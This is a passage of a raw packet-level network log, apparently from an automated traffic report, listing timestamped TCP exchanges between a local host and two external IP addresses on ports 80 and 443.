Oct 30, 2024 00:21:19.047027111 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.047075033 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.047156096 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.047769070 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.047780991 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.076666117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076678991 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076715946 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076735020 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.076764107 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.076764107 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076800108 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.076924086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076936960 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076950073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.076968908 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.076982975 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.077002048 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.077014923 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.077044010 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.077065945 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079339027 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079350948 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079363108 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079415083 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079415083 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079428911 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079435110 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079442978 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079456091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079473972 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079489946 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079792976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079837084 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079844952 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079859972 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079886913 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079895973 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079936028 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079947948 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079957962 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079971075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.079982042 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.079993963 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.080027103 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.080704927 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080718040 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080729961 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080750942 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.080773115 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.080789089 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080809116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080821991 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080833912 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.080862045 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.080873966 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.081619024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081631899 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081645012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081671000 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.081705093 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.081729889 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081742048 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081752062 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081763983 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.081777096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.081800938 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.082556963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082571030 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082581997 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082608938 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.082637072 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.082695007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082714081 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082726955 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082740068 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.082760096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.082783937 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.083420992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.083475113 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.083498001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.083547115 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.233995914 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234019995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234031916 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234044075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234055042 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234066963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234110117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234121084 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234131098 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234142065 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234158039 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234183073 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234210968 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234332085 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234343052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234381914 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234419107 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234433889 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234456062 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234457016 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234468937 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234483004 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234497070 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234518051 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234616995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234628916 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234639883 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234669924 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234679937 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234689951 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234694958 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234719038 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234730959 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234823942 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234863997 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234874964 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.234904051 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234932899 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.234956980 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235061884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235107899 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235126972 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235152006 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235394001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235404968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235414982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235436916 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235447884 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235457897 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235469103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235480070 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235501051 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235522032 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235548019 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235575914 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235586882 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235588074 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235599995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235613108 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235624075 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235645056 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235667944 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235680103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235690117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235701084 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235713005 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235724926 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235759974 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.235964060 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235975027 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.235985041 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236002922 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236008883 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236016989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236037970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236064911 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236169100 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236242056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236253023 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236284971 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236303091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236314058 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236324072 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236334085 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236345053 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236363888 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236397028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236413956 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236423016 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.236453056 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.236480951 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241110086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241122007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241144896 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241170883 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241182089 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241187096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241194963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241220951 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241245985 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241251945 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241262913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241269112 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241280079 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241377115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241386890 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241390944 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241398096 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241410017 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241419077 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241424084 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241436958 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241444111 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241477966 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.241942883 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241955042 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.241965055 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242003918 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242006063 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242017984 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242028952 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242033005 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242041111 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242063046 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242094040 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242160082 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242170095 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242182016 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242193937 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242202997 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242206097 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242221117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242229939 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242233038 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242254019 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242258072 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242270947 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.242281914 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242304087 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.242367029 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.246062040 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.351468086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351486921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351497889 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351512909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351524115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351533890 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351552010 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351562023 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.351605892 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.351660013 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.391881943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391906977 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391918898 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391930103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391942024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391952038 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391966105 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.391988039 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392010927 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392023087 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392054081 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392072916 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392072916 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392115116 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392139912 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392152071 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392163992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392184973 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392189026 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392190933 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392211914 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392224073 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392261028 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392272949 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392283916 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392309904 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392323017 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392338037 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392343044 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392354012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392364979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392365932 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392379999 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392416000 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392515898 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392528057 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392540932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392558098 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392581940 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392581940 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392594099 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392606020 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392616034 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392647982 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392766953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392805099 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392829895 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392842054 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392874002 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392945051 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392956972 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392967939 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392973900 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.392981052 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392981052 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.392997980 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393028021 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393053055 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393064976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393075943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393086910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393098116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393107891 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393120050 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393136978 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393158913 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393182993 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393194914 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393220901 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393234015 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393240929 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393244982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393264055 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393284082 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393306971 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393311024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393322945 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393347025 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393362045 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393426895 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393440008 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393450022 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393461943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393484116 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393496990 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393526077 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393577099 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393588066 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393599033 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393610954 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393610954 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393621922 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393635035 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393635988 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393646002 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393647909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393657923 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393676043 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393702030 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393847942 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393860102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393870115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393893003 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393922091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.393949032 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393960953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.393996000 CET	59791	80	192.168.2.5	185.215.113.16
